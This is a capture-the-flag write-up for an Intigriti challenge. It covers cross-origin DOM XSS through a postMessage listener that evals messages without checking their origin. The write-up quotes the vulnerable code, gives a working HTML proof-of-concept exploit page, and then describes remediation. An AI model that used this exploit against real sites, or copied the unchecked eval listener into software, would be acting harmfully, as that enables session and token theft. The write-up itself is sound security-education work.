Challenge: Intigriti December 2025 (Challenge 1225)
Code: INTIGRITI-3MQQN6MY
Asset: https://challenge-1225.intigriti.io
Vulnerability: Reflected / DOM-based XSS via postMessage
Severity: Medium (Informative)
Status: Archived / Informative
Summary
The challenge page contained an unsafe postMessage event listener that executed attacker-controlled JavaScript using eval() after a simple string prefix check.
Key issues:
- No
event.originvalidation (messages accepted from any origin) - Use of
eval()on unsanitized input - A predictable 48-character prefix was the only gate before code execution
This allowed arbitrary JavaScript execution in the context of challenge-1225.intigriti.io with a single click (popup + postMessage).
In Simple Terms
- The page listened for messages from any website.
- If the message started with a specific 48-character code, the rest of the message was passed directly to
eval(). - An attacker could open the challenge page from their own site and send a message that starts with the magic code + malicious JavaScript.
- The JavaScript runs in the challenge domain — classic cross-origin DOM XSS via
postMessage.
Vulnerability Details
Vulnerable Code
// main/views/challenge.ejs (approx. lines 114-118)const messageListener = (event) => { if (typeof event.data === 'string' && event.data.substring(0, 48) === code) { eval(event.data.substring(48)); // ← Dangerous }};window.addEventListener('message', messageListener);Problems:
event.originis never checked.eval()is used on data that can come from any origin.- The only protection is a client-side prefix that is easily discoverable in the page source.
Root Cause
The developer likely intended this as an internal communication channel (perhaps for a parent frame or same-origin widget) but:
- Forgot to validate the message origin.
- Used
eval()instead of a safe message handler (e.g.,JSON.parse+ action dispatch).
Proof of Concept
Step-by-Step
-
Open the challenge:
https://challenge-1225.intigriti.io/challenge#PerfectlyBalanced -
View source and extract the 48-character
codevalue:const code = encodeURIComponent('a1b2c3d4e5f6...'); // 48 chars -
Create an exploit page on an attacker-controlled domain and send:
targetWindow.postMessage(code + "alert(document.domain)", '*');
Full Exploit (Self-Contained PoC)
<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title>Intigriti postMessage XSS PoC</title></head><body> <h2>Intigriti December 2025 - postMessage XSS</h2>
<label>48-Character Code (from page source):</label><br> <input id="code" style="width:100%" maxlength="48"><br><br>
<label>Payload:</label><br> <textarea id="payload" style="width:100%" rows="2">alert('XSS on ' + document.domain)</textarea><br><br>
<button onclick="exploit()">Send postMessage</button> <div id="log"></div>
<script> function log(msg) { document.getElementById('log').innerHTML += msg + '<br>'; }
function exploit() { const code = document.getElementById('code').value.trim(); const payload = document.getElementById('payload').value;
if (code.length !== 48) { alert('Code must be exactly 48 characters'); return; }
log('Opening challenge window...'); const win = window.open( 'https://challenge-1225.intigriti.io/challenge#PerfectlyBalanced', 'challenge' );
if (!win) { alert('Popup blocked. Allow popups and retry.'); return; }
setTimeout(() => { const full = code + payload; win.postMessage(full, '*'); log('postMessage sent to challenge window.'); }, 2500); } </script></body></html>Result: alert() (or any JavaScript) executes in the context of the challenge domain.
Impact
- Arbitrary JavaScript execution on
challenge-1225.intigriti.io - Potential to steal cookies, tokens, or perform actions in the victim’s session
- Classic postMessage +
evalanti-pattern
Even though the challenge was marked “Informative”, this is a real and dangerous pattern that appears in production applications when developers use postMessage for cross-frame communication without proper safeguards.
Remediation
1. Always validate the origin
const messageListener = (event) => { if (event.origin !== 'https://challenge-1225.intigriti.io') { return; // Reject messages from untrusted origins } // ... safe handling};2. Never use eval() on message data
Instead of eval(), use a safe dispatcher:
const messageListener = (event) => { if (event.origin !== 'https://trusted-origin.com') return;
let data; try { data = JSON.parse(event.data); } catch (e) { return; }
if (data.action === 'updateTheme') { applyTheme(data.theme); }};3. Use a strict whitelist of allowed actions
Never allow arbitrary code execution. Define a small set of permitted message types and validate both the structure and values.
4. Consider using window.postMessage with structured data and targetOrigin
When sending messages, always specify the exact targetOrigin instead of '*'.
Conclusion
This challenge highlighted two very common (and very dangerous) mistakes when working with postMessage:
- Trusting messages without verifying their origin
- Passing untrusted data into powerful functions like
eval()
A single missing origin check turned an intended internal feature into a reliable cross-origin XSS vector.
Challenge Link: https://challenge-1225.intigriti.io/challenge#PerfectlyBalanced
Reported on Intigriti as part of the December 2025 challenge (INTIGRITI-3MQQN6MY).